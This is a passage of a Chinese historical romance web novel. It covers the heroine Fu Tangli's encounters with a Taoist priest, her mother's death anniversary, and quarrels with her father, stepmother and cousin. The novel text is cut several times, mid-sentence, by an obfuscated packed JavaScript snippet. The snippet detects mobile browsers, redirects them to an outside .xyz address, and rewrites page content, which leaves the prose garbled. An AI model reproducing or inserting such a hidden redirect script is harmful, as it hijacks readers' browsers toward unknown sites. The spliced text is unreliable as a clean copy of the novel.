没来由的,傅棠梨的脸上又开始发烫,她往旁边偷偷地挪了一步,试图离他远一点儿。 “你怕我,不敢看我?”他的声音还是很低,似乎是随口一句话,但从他口中说出来,难免总是带着一点倨傲的意味。 傅棠梨那该死的好胜心又冒了出来,她深深地吸了几口气,强迫自己镇定下来,一本正经地道:“确实挺怕,我若多看两眼,折损了道长的清白,道长一时想不开,这辈子要赖上我,那岂不是糟糕了。” 玄衍气得笑了,他手长,屈起指节,顺手给傅棠梨的后脑勺来了一下:“说什么胡话。” “嘶。”傅棠梨被敲得有些疼,她摸了摸头,咬了咬嘴唇,“道长未免忒小心眼,玩笑罢了,怎么和我计较起来。” “上一个敢和我这般玩笑的人,坟头的草已经二尺高了。”玄衍慢条斯理地道。 傅棠梨心一颤,马上把嘴巴闭紧了,不动声色地又往旁边挪了几步。 于是,两厢无言,一派清静。 过了半柱香的工夫,白色的海东青飞了回来,玄安和玄度跟在后面,一路狂奔而来。 “师兄、师兄!”他们跑到近前,看到这般景象,皆是大惊失色,双膝一弯,就要下跪,“是我等疏于守护,让这帮宵小惊扰了师兄,请师兄……” “回头再说。”玄衍笔直地立在那里,尊贵高傲如平常,不耐地打断了玄安和玄度的话,“拿我的衣裳来。” “是、是!”玄安和玄度又忙不迭地飞奔回去,不到片刻,取了绸巾和衣袍过来,两个人恭敬地服侍玄衍擦干了身体,穿上了衣裳。 就这一会儿时间,天又开始下雪了,不很大,一点点的,零星地飘落下来,似天街细盐、似杏花微雨,沾衣欲湿。 傅棠梨听见后头悉悉索索穿衣的动静停住了,想来差不多收拾妥当,她回头望了一眼。 恰见玄衍抬眼,两人目光相触。 他的眼眸带着一点很浅的琥珀色,深邃如同夜空星辰,一眼望不到底,傅棠梨似乎瞥见那其中还残留着淡淡的笑意,但或许只是她的错觉而已,转瞬即逝,再定神时,他的眼睛已经冰冷没有情绪,如同往常。 玄安撑开了一把伞,为玄衍遮住雪。 玄衍的头发还是湿漉漉的,披散下来,漆黑如同鸦羽,他此时整整齐齐地穿着道衣,宽袍大袖,深色如碧,俨然高雅若仙人,但傅棠梨想到了他方才所展现的强大的武力和彪悍的体魄,仍然有些心惊,很快把眼睛转开了。 玄度过去,在地上那堆尸首里翻看了一番,返身对玄衍禀告道:“是南诏余孽,也不知他们是如何摸上山来,或许长安城中还有同党,是否需……” 玄衍略一抬手,阻住了玄度的话:“区区小事,不必多言,你们自行处置便是,记得,把此处清理干净。” 玄度熟练地道:“是,我多叫些人过来,务必把腌臜之物全部打扫干净,冲洗几遍,再焚天宝香,熏上三天三夜,清除此间污秽之气,师兄尽管放心。” 玄衍又指了指停在树上的白色海东青,对玄度道:“摇光最近颇有些蠢笨,不能及时领会我的吩咐,你带它回去,好好管教一番。” 玄度又急忙应是。 海东青不明所以,听见主人唤它的名字,还得意地张开翅膀,响亮地“嘎”了一下。 玄衍颔首,从玄安手中取过了伞,做了个手势,玄安和玄度立即躬身退后。 他持着伞,施施然从傅棠梨身边走过,脚步没有停顿,只吐出一个字:“走。” 傅棠梨立即提起裙裾,举步跟上。 两人沿着幽静石径返回。 雪慢慢地有些大了,山间微微起了风,恰如柳絮纷飞,远山苍苍,近树渺渺。 傅棠梨秉持礼仪,走在玄衍身后,离着三尺距。 雪落下来,拂过她的脸颊,寒意渐起。 玄衍的脚步慢了下来,待傅棠梨稍微靠近时,将伞移到了她的头顶。他的手很长,笔直地伸出去,为傅棠梨挡住了雪,而他自己大半个身体露出了伞外。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647414|172763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 傅棠梨怔了一下,但她并未客气推脱,甚至没有开口,只是微微仰起脸,露出了一个柔软的笑容,叉手为礼,以致谢意。 玄衍目不斜视,没有多看傅棠梨一眼,他的神情和声音都是冷淡的:“你一个闺阁女郎,独自居此山间,成日四处游荡,屡屡扰我清修,十分不妥,待明日,还是快快下山回家去。” 傅棠梨摇了摇头,温和而平静地道:“我原先在渭州,由外祖母抚养长大的,外祖母不在了,我这两年才回到长安,家中诸人和我都不太亲近,彼此不自在,还不如我在中山间逍遥快活。” 玄衍的眉头皱了起来:“真不知轻重,此处苦寒,如今又有歹人出没,更不宜居。汝父何名?家住何处?待我命人寻他去,叫他来接你。” “父亲一心只管爱护继母和妹妹,顾不上我。”傅棠梨轻巧地道,“我躲得远一些,他还记得我的好,若凑到他面前,他大抵是要生厌的,不必、不必。” 她转过脸,望着玄衍,轻声道:“道长是不是觉得我挺可怜的?” 玄衍沉默了一下,拂了拂衣袖,转了口风:“借口诸多,或这或那,不过是你贪玩罢了,既如此,随你去吧。” “那倒真不是。”傅棠梨微微笑了起来:“我居于此处,一则贪图风景自然,二则要在道观为先人祈福,再过七日,十二月十三,乃先母忌日,也是我的生辰之日,求道长为我供斋醮神,以太上救苦经为供奉,祈生者安康,亡者超度,未知可否?” 玄衍瞥了她一眼,似乎是高傲又矜持的神态,他没有说话,只是从鼻子里发出一点类似“嗯”的声音。 想来是应允,但道长一向矫情,就不能好好说话。 傅棠梨的嘴角翘了起来,露出两个漂亮小酒窝。 玄衍将目光转开了。 接下去,一路无话,只有雪落在伞面,发出轻微的簌簌声响,还有两个人一起走过雪地,有一点沙沙的脚步声,苍山负雪,天地苍凉,唯有此间宁静。 走了一段路,远远地望见了那座宅院。 傅棠梨停了下来,再次致礼,温柔又客气:“家宅已至,若家中奴仆见之,恐生误会,还请道长留步。” 玄衍将伞递给傅棠梨,简单地说了一句:“去吧。” 傅棠梨接了伞,自行回家,临到门口,她回眸望了一眼。 玄衍依旧立在原处,白雪茫茫,他一身道袍,清冷出尘,飘然若仙人,而他长长的头发垂落下来,上面落着雪,又是随意不羁,仿佛仙人坠入俗世间。 傅棠梨低头,收了伞,掩门进去了,不敢多看。 —————————— 回到家中,傅棠梨只道在泉边听琴,一时入神,多耽搁了些时候,并不提及发生了什么事。 奴仆们也不敢追问,只有黛螺因着外面下雪,埋怨胭脂不早点出去接娘子回来,两个婢子又吵吵闹闹了一阵子。 …… 到了这天黄昏,却有一个将官前来敲门,身后还跟着一队士兵。 严五叔奉命,出去询问。 12. 第 12 章 那将官却客气,并不进门,只站在门口,道:“临近岁末,京兆府命吾等对京城四周严加防备,恐有流寇隐匿山间,吾等会将此山仔细搜查一番,这两三日尔等暂勿外出,以免妨碍。” 严五叔连连应下,回头禀了傅棠梨,又与宅中各人交代了一番。 果然,接下去几日,傅棠梨在阁楼上频频望见周遭有士兵来来往往,穿着铁甲,持着兵刃,不分昼夜,巡防严密,行动间俨然有金戈铁马的肃杀之气,不似京兆府手下人马,倒像是久经沙场的铁血之师。 她也不过是个闺阁女郎,虽然心中疑惑了一下,很快就丢开了。 三日后,士兵们撤去,那将官还特意登门说了一声:“吾等前后搜查多遍,未见山间有可疑之人,日后可放心出门。” 严五叔诺诺应了。 黛螺过来请示傅棠梨:“那些官兵走了,天也放晴了,可以出门了,娘子前几日带回来的那把伞,是否要拿去云麓观归还玄衍道长?” 此时提起玄衍,傅棠梨就想起那日在水潭边见他裸身沐浴的情景,觉得浑身都不自在起来,她咳了两声:“先放着吧,不急。” 黛螺又问:“白药小曲、乌衣红曲、碧糯米都备齐了,摘下来的梅花也晾晒好了,那泉水如何,可用否,娘子几时要动手酿酒,我陪娘子去打水。” 提起那泉水,傅棠梨更不自在了,慢吞吞地道:“泉水不可,道长说了,他不喝那水。” “那娘子要去取那梅间雪吗?” 傅棠梨果断地道:“不去。” 总之,最近哪里都不去,免得遇见玄衍道长。 胭脂凑过来,看了几眼,奇道:“娘子,你的脸为何这么红?” “哦,因为家里太热。”傅棠梨面无表情地说着,转头进了房间,再也不肯出来了。 黛螺和胭脂面面相觑。 —————————— 如是,傅棠梨又在家里安静地窝了几日,梅花晾晒好了,不去酿酒,和着敬亭绿雪茶一起煮了茶,一个人倚着小轩窗,慢慢饮下。 清闲时,焚起降真香,拿出笔来,抄写了几卷《洞玄往生妙经》,她一笔一划写得很慢,窗外细雪,室内生香,往往一坐就是一整天。 黛螺心疼:“娘子怎的如此虔诚,又不是三娘子被关在祠堂中抄经,何必如此苦着自己?” 傅棠梨只是微笑:“我和祖父有言,居此处,要为外祖母和母亲祈福,你当我是说笑的吗?这几日既没未去观中进香,就抄些经文,再过两日,待到十二月十三,就是母亲的忌日,我欲请云麓观的道长供斋醮神,这些经卷当作供奉,也算我的心意。” 黛螺忙低头,不敢多言。 …… 这一日午后,傅棠梨正在抄经,却见胭脂飞奔进来,惊喜地道:“娘子,大公子来了。” 傅棠梨笔未停,漫不经心地问道:“大公子?哪个大公子?” 胭脂拍手道:“还有哪个大公子,我们家的世子爷啊。” 黛螺胭脂是西宁伯府出来的婢女,她们口中的世子爷,是西宁伯的长子,韩子琛。 老国公和韩老夫人只有韩氏一个嫡出的女儿,如今的西宁伯是庶子,才干又平常,原本不得韩老夫人欢心,唯有长孙韩子琛,允文允武,精明强干,才能远胜其父,才叫韩老夫人有几分欣慰。 韩老夫人上了年纪以后,西宁伯府的权柄已经渐渐交到韩子琛手中,韩子琛也不负所望,年少有为,将渭州城经营得如同铁桶一般,颇得上下人心,就连如今的胭脂,说到韩子琛时,也满是恭敬之意。 “世子千里迢迢从渭州过来,得知娘子不在府中,又马不停蹄地上山来接您,这可不是天大的情分吗,要傅家那些人看看,我们家娘子可不是没人撑腰的。” 相比胭脂的兴奋,傅棠梨却显得过分冷静,她只是挑了挑眉毛,表示知道了,工工整整地将那一页经文抄写完毕,阖上经书,又净了手,才慢慢地走了出去。 奴仆们早已经将韩子琛迎了进来,端茶看座,十分殷勤。 韩子琛年纪虽轻,却有十分威仪,他端坐正堂,身后带着一干西宁伯府的护卫,气度高贵逼人。 傅方绪身边的老管事傅全也跟了过来,在一旁陪着笑脸:“二娘子在山上小住,下头伺候的人和家里一样,一应吃穿用度也都是最好的,老太爷前两天还念叨着,眼看着天气越发冷了,要叫三老爷接二娘子回家去,可不是表公子正好就来了。” 韩子琛脸色淡淡的,只对严五叔说话:“你们怎么做事的,这个院子当初是给姑母夏日消暑用的,冬天怎么住人?况且又是十几年的老宅子,破落不成样,纵是表妹不计较,你们也该和我说,叫人重新来修建一番,怎么敢叫表妹住在这里,莫不是欺负她性子软?” 严五叔无从分辨,赶紧跪下了。 傅全听得十分尴尬:“世子误会了,二娘子将来可是太子妃娘娘,我们家顶顶金贵的人,谁敢怠慢她,没有的事。” “大表兄稍安勿躁。”婢女挑开帘子,傅棠梨走了进来,微微地笑了一下,“山中景致自然宜人,我自己愿意过来住些日子,偷得清闲,不算什么。” 韩子琛起身,望着傅棠梨,露出了温和的笑容:“话虽如此,到底是下人伺候不周到。”他的语气亲近而熟稔,叹了一口气,“两年不见,你好像瘦了些,可见长安水土不养人,苦了你。” 面对韩子琛的关切,傅棠梨未予置喙,她施施然坐下,做了个手势,命下人重新端了热茶上来,客气地道:“府里事情多,处处都离不开大表兄,你这么大老远的到长安来,可是有什么要务?” 韩子琛神态自若:“依着祖母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647415|172763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的遗命,渭州那座银矿每年的收益,有一半是你的嫁妆,我想着明年你就要出嫁了,赶紧把这笔银子先给你送过来。” 他看了傅棠梨一眼,目中别又深意,“况且,你的生辰快到了,明年你嫁入东宫,或许再见一面也难了,大表兄今年特意过来,为你庆生,希望你不要怪我唐突。” 明日十二月十三,就是傅棠梨的生辰之日。 傅棠梨站了起来,对着韩子琛叉手为礼:“让大表兄费心了,实在叫我感激不尽。” 她神情娴雅,姿态端庄,一言一行无可挑剔。 韩子琛的笑容却淡了下来:“梨花,你变了许多,原先不是这般拘谨的。” 他唤她旧日的乳名,梨花,自从外祖母故去后,已经很久没有人这么唤过她了。 傅棠梨面上波澜不动,慢慢地道:“傅氏世代诗书传家,最重礼仪规矩,比不得北地民风豪放,祖父和父亲不喜我过分跳脱,我为人子女,岂能令长者不悦,自然要谨言慎行,过去种种,都是年幼不更事,如今,使不得了。” 韩子琛欲言又止,半晌,端起茶盏,抿了一口,什么话也不说了。 —————————— 因为西宁伯府来了人,傅方绪格外嘱咐,务必要把二娘子接回家去,傅家奴仆不敢有违,匆匆收拾了一番,拥着傅棠梨下山去了。 山路难行,待得回到傅府,已经近了黄昏。 傅方绪从官署回来,特意为韩子琛办了一场洗尘宴。 华庭盛宴,烛火通明,仆从如云,真真是珍肴溢玉俎,郁金盈酒觞。 傅方旭和三个儿子并四个孙子皆在座,给足了韩子琛脸面。 席间,韩子琛温谦恭和,笑语晏晏,对傅家上下执晚辈礼,又叫人呈上了从渭州带来的礼仪,言行恭敬。 傅方旭却佯做不悦:“子琛如此生疏,以傅相呼老夫,老夫岂敢收此厚礼?” 韩子琛赶紧端起酒杯,躬身道:“老太爷说得是,是子琛不对,自罚三杯。” 傅方旭捋须而笑。 两年前,傅棠梨刚刚从渭州回来的时候,西宁伯府曾遣人问候傅家,言语不过客套而已,及至如今,傅棠梨被钦定为太子妃,韩子琛骤然热络起来,个中意味,傅方绪自然心领神会。 西宁伯府来日需要借助太子妃的势头,傅家需要这门有力的姻亲,各取所需。 一时宾主尽欢。 因有外人在,男女不同席,家中女眷在隔间花厅另开了一席。 管事嬷嬷带着人过去,把前厅的情形说了一遍,末了笑道:“表公子和老太爷相谈甚欢,稍后再过来给各位婶婶请安,这边有表公子给二娘子带来的礼物,先拿过来给二娘子过目。” 这时候差不多用膳完毕,傅家的夫人和娘子们正在喝茶,仆妇便将几口箱子抬了上来。 13. 第 13 章 一一打开来看,是些香料和皮草,珍稀的龙涎、笃耨、金颜、沉水蜜等,难得的紫貂、玄狐、海龙、乌云豹等,都是上等的珍品。 傅家大房的夫人严氏是个八面玲珑的人,惯会见风使舵,马上夸道:“不愧是西宁伯府,当年三弟妹在日,也是这般大方,送出手的礼仪啊,既体面又贵气,如今韩家的侄儿一脉相承,是个有心的,雀娘,你这个表兄极好。” 傅棠梨轻轻地抿了一口茶,微笑而已。 管事妈妈的笑容愈发殷勤:“除了这些礼物,还有一千三百五十两黄金,直接叫人抬到二娘子的房里去了,表公子说,那是渭州银矿今年收益的一半,按着亲家老夫人留下的嘱咐,是二娘子的嫁妆,往后渭州年年都会遣人给送过来。” 这是韩子琛刻意在傅家众人面前的张扬了。 众人又应景地恭维起来。 杨氏听得眼睛都红了。 眼见得傅棠梨风头无二,而她的女儿傅芍药却被老太爷关到祠堂中,迄今还没放出来,傅之贺去求了几次,差点被老太爷连着一起打了,可恨傅棠梨却躲在外头逍遥快活,也不管妹妹的死活,实在是个没心没肺的东西。 杨氏一念及此,面上堆起笑,拿捏着强调,道:“西宁伯府是好的,韩家的侄儿也是好的,当初啊,韩家老夫人还写信来,说有意把雀娘许配给韩家的侄儿。” 她说到这里,故意停了一下,看了看众人的脸色,一拍手,惋惜地道:“谁知道呢,舅老爷偏偏相中了陇西李家的娘子,你们说,这不是可惜了吗?” 旁人的脸色有些尴尬了起来。 傅棠梨慢慢地放下了茶盏,面上似笑非笑的。 大夫人严氏笑了起来:“那可不是,雀娘命格贵重,转眼就要做太子妃了,这份尊荣谁及得上?别嫌我说得不中听,韩家的侄儿,那终究还是差一点的,也无怪乎西宁伯爷不敢应承。” 三夫人杨氏仗着夫婿的官职高,不太把兄嫂放在眼里,日常各种不恭,严氏对杨氏不满由来已久,习惯要和杨氏唱对台戏。 傅棠梨顺着严氏的话头,神态自若地开口:“这无非是傅家历代先祖的功德深厚,若说和长安城中其他的小娘子比起来,我呢,其实容貌也一般、家世也一般,谁知竟得圣上看重。” 她叹了一口气,用谦逊的语气道:“我自己心里也不安,功德这东西是有定数,我若是用得太狠了,岂不是误了后头的燕娘?但转念又想,我们是嫡亲姐妹,不分彼此,我好就是她好,她必然是不介意的,母亲,您说是不是?” 杨氏脸色发青,却说不出一个“不”字。 严氏也是个妙人,马上接口道:“这天底下,可再没有比太子殿下更尊贵的郎君了,不管傅家祖先的功德还剩下多少,燕娘的姻缘必然是比不上雀娘。”她故意学着杨氏方才的语气,“你们说,这不是可惜了吗?” 杨氏差点拍案而起,旁边的二夫人张氏赶紧把她拉住了。 “大伯母老提这个作甚,没意思。”傅棠梨见好就收,打住了严氏的话,轻轻松松地换了个语调,“对了,大伯母方才说夜间眠浅,这一盒笃耨香您拿去,晚上点着看看,或许闻着味道好,能睡得踏实些,哦,还有这件乌云豹,瞧着花里胡哨的,我不太爱,不若您顺道一并带走算了。” 这是投之以桃、报之以李了。严氏笑眯眯地道:“以雀娘的身家,这些其实也不算什么,大伯母不和你客气,就收下了。” 杨氏冷笑着插了一句:“那可不是,我从来就没见大嫂客气过。” 傅棠梨十分体贴,转过头,又对杨氏道:“可怜见的,燕娘还在祠堂里出不来,过会儿我带着这些东西去探望她,她若爱什么,尽管拿去,要知道,大表兄送的东西大多是来自域外的珍品,就算有钱也买不着,舅舅疼我,千里迢迢地送过来,让燕娘一道看看,替我欢喜。” 欢喜必然是不能的,气死还差不多,杨氏知道傅芍药的脾气,哪里敢叫傅棠梨去祠堂探望她,急忙推辞:“那不必,这些东西太过奢华,燕娘年纪还小,很用不上,雀娘自己留着吧,别叫她看了。” “哦,如此,那便罢了。”傅棠梨惋惜地叹了一口气,施施然起身,“我先回房去了,这么许多东西,还要些时间清点一番,就不陪大家伙闲聊了。” 言罢告退而出。 黛螺和胭脂跟在后头,一个挑着灯、一个捧着香炉。 及至到了外面,走了一段路,傅棠梨才长长地吐出一口气:“和这些人说话真是累得慌,装腔作势,一刻都处不来。” 胭脂方才在花厅中没有说话的身份,这会儿不免跟着抱怨:“大夫人也不见得真心对娘子好,何必巴巴地送她东西,浪费了不是。” 傅棠梨淡淡地笑了一下:“大伯母能帮我说话,已经是难得的情分了,苛求什么真心,再说,送她东西,能叫母亲心里不痛快,我就痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647416|172763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快了。” 她慢悠悠地道:“我呢,就是个坏心眼的小娘子。” 黛螺想笑,心里却难受,忍不住低声道:“若是……若是当年伯爷同意老夫人提出的婚事,娘子就能留在渭州了,一辈子快快活活的,不用如今这样憋屈。” 胭脂使劲扯着黛螺的衣角,不停使眼色:“陈年烂芝麻,老夫人的一句戏言罢了,谁也没当真,你提这个作甚。” 黛螺急忙低头:“是,奴婢胡乱说的,娘子勿怪。” 傅棠梨却不在意,她一脸云淡风轻:“你们当舅舅能替大表兄做主吗,那是大表兄自己的意思罢了,他这个人生性凉薄,重利而轻情意,李家对他助力良多,他就娶李家的六娘子,这种男人有什么好,要真说起来,还不如太子呢。” 她停住脚步,回头望了一眼。 不远处,灯火煌煌,映衬夜幕下楼阁如画,奴仆往来,茶酒不绝,隐约闻得谈笑喧哗。 繁华近在咫尺,冬夜的风吹来,却是冰冷刺骨。 “谁也不是真心,这世间,如今唯有我自己罢了。”傅棠梨喃喃自语。 —————————— 翌日,一早就下起了雪,零零星星的没个停歇,天地一片飘白,檐前廊后都裹上了素装,显得分外清冷。 傅之贺在家里设了香案烛台,祭奠发妻韩氏。 说起来,傅之贺当年对韩氏确实是真心实意的,韩氏美貌温存,又在如花一般的年纪凋零,留给傅之贺的,是佳人如梦,红颜不曾老,如今追思,更觉心碎,不禁抚案而泣下。 傅棠梨上前去,给亡母恭恭敬敬地点了三柱香,又跪下磕了三个头,全程静默不语。 傅之贺红着眼眶:“雀娘是该给你母亲多磕几个头,当年若不是为了生你,她也不会走得那么块,早知道、早知道,我就不该让她……” 后面的话他没有说出口,早知道,是不是就不该让韩氏把这个孩子生下来呢? 傅棠梨垂着手,一动不动,并没有作声。 为了祭奠韩氏,傅芍药被祖父恩准从祠堂里出来半天,她拜过了韩氏后,也不起来,干脆就跪在地上抹眼泪。 “燕娘今日给母亲上香,求母亲发发慈悲,托梦给姐姐,我如今知错了,且叫她饶了我这一遭吧。” 她一边说着,一边偷偷觑看傅棠梨的神色。 傅棠梨站在一边,八面风不动,脸上一丝儿表情也无。 14. 第 14 章 傅芍药自幼娇生惯养,就这回在祠堂关了十几天,每日青菜豆腐,有专门的管事嬷嬷盯着,卯正起来,一整日抄写佛经,到酉时才能停笔,那叫一个苦不堪言,脸蛋都焦黄了。 如今见傅棠梨无动于衷,傅芍药又气又恨,伏地大哭起来:“就算不看姐妹情分,也要顾着父亲的脸面,姐姐自诩身份高贵起来,难道就不要父母亲眷了吗?” 杨氏不敢和傅棠梨开口,只对着傅之贺垂泪:“雀娘虽然不是我亲生,我待她与燕娘一般无二,一句重话都不曾说过,天地良心,我哪里做得不够好吗?她们两个是血脉相连的亲姐妹,本应友爱扶持,怎么就闹成这样,叫我这个做母亲的情何以堪?” 傅棠梨先前答应去向祖父求情,傅之贺在杨氏和傅芍药面前夸下了海口,结果呢,傅棠梨一转头,跑到青华山上去了,还一走十几天,简直叫傅之贺颜面扫地。 如今又提起这事,饶是傅之贺好脾气,也不禁生出怒意:“雀娘,我且问你,今日当着你母亲的面,你说,到底要如何才肯放过燕娘?” 傅棠梨心平气和地道:“我却不明白,分明是燕娘做错了事,怎么你们都来责备我?祖父赏罚公正,他这么做,自有他老人家的道理,我若去求情,岂不是辜负他一片苦心。父亲知道祖父严苛,硬要我去触这个霉头,实在叫我为难。” 她面上温柔,性子却最是执拗,连外祖母也曾经笑骂过她:“好好的一个小娘子,脾气却像一头驴,你母亲和你那不成器的父亲都不这样,这到底是随了哪个?” 当日舅父亦在场,为了和外祖母搭话,还凑趣地说了一句:“梨花这性子,可不是随了母亲您吗?” 说得外祖母大笑不已。 如今这头驴的倔脾气上来了,她面对傅之贺,毫无转圜之意,慢慢地道:“我做不到,还请父亲宽恕。” “你、你……”傅之贺气极,指着傅棠梨,手都抖了起来,但傅棠梨是未来的太子妃,家里还有傅方旭给她撑腰,傅之贺软弱,骂也不敢骂、打也不敢打,“你”了半天,忍了又忍,只能转过身,对着韩氏的灵位,几乎哽咽。 “夫人,你看看,这个冤孽生来克母,害你丢了性命,本应心怀愧疚,加倍赎罪才对,如今她自恃攀上高枝,对父母不恭不顺,岂不叫人心寒,当初是我一念之差,保了她,弃了你,我对不住你,不值得啊,真真不值得!” 傅棠梨深深地吸了一口气,抿紧了嘴唇,唇色都有些泛白。 傅芍药眼见求情无望,哭得愈发凄惨:“我们一家子过得好端端的,她又是什么人,为什么要回来?我知道,父亲和母亲疼我,她心胸狭隘,偏偏就见不得我好,算了,不要再求她了,我不忍你们为我受气,她要害我,就让她害,我也不怕什么。” 杨氏落泪,抱住了傅芍药,心肝肉儿地叫着,百般抚摩:“我可怜的儿啊,你到底是做错了什么,要吃这样的苦头,母亲恨不得代你去身受。” 傅之贺大为怜惜,上前去,一手一个,扶住杨氏和傅芍药,愧疚地道:“是我无能,护不住燕娘,我愧对你们母女两个。” 堂中奴仆皆不敢言语,眼观鼻,鼻观心,个个装作泥塑雕像。 傅棠梨沉默地看着他们一家三口抱做一团,本来还要和傅之贺争辩几句话,突然间觉得意兴阑珊,什么也不想说了。 檀木案上点着香,紫铜盆里燃着纸钱,白色的烟絮飘散开来,熏得人眼睛刺疼。斯人已逝,只留一个陈旧的木牌和一行冰冷的字。 傅棠梨对着亡母的灵位,深深地拜了一拜,转身走了出去。 —————————— 傅方旭和韩子琛在书房中喝茶说话。 韩子琛文武双全,既能和傅方旭说一说沙场上对敌之道,也能聊两句今科春闱的策论考题,句句言之有物,自有见地,听得傅方旭频频点头。 傅方旭身为尚书令,平日官威深重,此刻对待韩子琛却和颜悦色,与其论及当今朝堂上下之势,推心置腹,言语谆谆。 两下越发投机,大有相见恨晚之意。 傅方旭叹道:“可恨我儿孙众多,却无一人能及子琛,西宁伯何幸也。” “老太爷何必枉自菲薄。”韩子琛目光一闪,笑道,“傅家有表妹在,岂不胜过子琛百倍?” 傅方旭拍了拍韩子琛的肩膀,话中别有深意:“雀娘年轻不更事,日后还需子琛多多扶持。” 韩子琛应道:“自家兄妹,理应如此。” 正说话间,傅棠梨进来拜见祖父。 傅方旭今日格外和蔼,亲手扶起了孙女,温和地问她:“雀娘怎么眼睛有些红,可是为着你母亲的忌日而伤感?实在是个孝顺孩子。” “是。”傅棠梨螓首低垂,恭谨地向祖父禀道,“孙女这些日子都在青华山的云麓观烧香祈福,求得观中道长为我抄了七七四十九遍太上救苦经,约定在今日供斋醮神,为外祖母和母亲度厄解难,此刻家中祭仪已毕,孙女拟即刻启程上山,特来告知祖父。” 傅方旭眉头微皱:“若要为先人祈福,去城中的元真宫就好,祖父也有几分薄面,可求得青阳真人为你诵经,今日下雪,天却冷,何必去那不知名的荒山野观。” 韩子琛温和地道:“今日虽是姑母忌日,却也是表妹生辰之日,祖母尝有言,逝者不可及,来者犹可望,叫表妹不必一味愚孝,我拟效仿祖母旧年惯例,今夜在城中杏花春雨楼为表妹摆一场生辰宴,延请傅家诸位亲友,正与老太爷商议此事。” 傅棠梨微微一笑,柔声道:“话虽如此,但我既被圣上钦定为太子妃,言行更应谨慎,本朝以孝治天下,我怎能在今日做欢愉之态,只愿为先人素服持斋。再一说,元真宫香火鼎盛,仍在十丈软红中,不能显我诚心,深山道观,隔离尘世,陋室箪瓢,霜寒露重,方具天地自然之意,祈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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韩子琛未曾没有后悔过,尤其是此时此刻,但他只能强行压抑下去,低声道:“你一向是个明事理的,当能懂我,我身不由己,只望你莫要因此心生芥蒂,伤了你我兄妹情意。” 傅棠梨的嘴角抽了又抽,差点控制不住,她深深地吸了一口气,抬手把立在远处的胭脂招了过来。 “娘子有何吩咐?”胭脂殷勤地问。 “去找面镜子给表公子。”傅棠梨一脸庄重之色,冷静地道,“叫他仔细照照镜子,看清自己的尊容,莫要出此悖妄之语。” 胭脂听得有些发傻,左右看看,不知所措。 韩子琛苦笑:“梨花还是这么淘气。” 傅棠梨不欲与他继续纠缠,扭头就走,不免要自顾自叹息两句:“真真流年不顺,所遇皆小人,福生无量天尊,我须得赶紧去观里烧几柱香,求神仙庇佑,瘟神勿近,百邪辟易。” 胭脂急急拔腿跟上。 韩子琛止住了脚步,他撑着伞,独自站在雪里,望着傅棠梨渐行渐远的背影,面无表情,目光冰冷,没有一丝方才温煦君子的模样。 —————————— 15. 第 15 章 风扑面而来,不很烈,寒意却透到骨子里,雪下了很久,纷纷扬扬沾湿了眉眼。山林萧索,走兽失了影踪,一只飞鸟也无。 山路崎岖湿滑,连轿子也坐不得,傅棠梨只能下来,一步一步慢慢地走。 一干奴仆纷纷劝说:“今日雪下个不停,山路难行,娘子不如回头,待明日天晴再上山也不迟。” 傅棠梨却一句话都不说,一路沉默前行。 待到了山上,已近了黄昏。 傅棠梨连自家宅院都不进,径直去了云麓观。 黛螺、胭脂劝说不得,只得一人打着伞、一人捧着暖炉,急急跟上。 日光在云层后面坠落,暮色四合,如同一抹水墨在天地间徐徐晕染开,云麓观的院墙檐瓦更显得黯淡陈旧,雪落下,山野空旷无声。 傅棠梨走得很急,到后面几乎撩起裙裾小跑了起来,到了云麓观的门口,却发现大门紧紧地关闭着,她怔了一下。 黛螺和胭脂从后面追了上来,见状劝道:“今日天色不好,也迟了,想来观中的师父们都已经歇着去了,娘子还是明日再来吧。” 傅棠梨恍若未闻,抬手敲门,轻轻的,好像是试探了一下。 门马上打开了,青虚子探出头来,好似等候已久,这老道士看见傅棠梨,露出一副如释重负的神情,旋即又板起脸:“女善信可知如今是什么时辰了?” 他指了指天,冷冷地道:“天色已暮,小观要闭门了,请改日再来。” 他说着,作势要关门。 傅棠梨后退了一步,轻声细语道:“我今日与玄衍道长原本有约,意外失约,诚我之过,既如此,请师父代为转达,待我明日登门,再来致歉。” 青虚子又怒,反而叫住了傅棠梨:“致歉还等什么明日,现在就去,快去。” 傅棠梨松了一口气,应道是,进了观院。 此时观中的道人做完晚课,大抵都已经各自回房,偌大的观院冷冷清清,只有风摇晃着树枝,发出一点点“咯吱”的声响。 傅棠梨才走没几步,听见隐约有琴声随风而来。 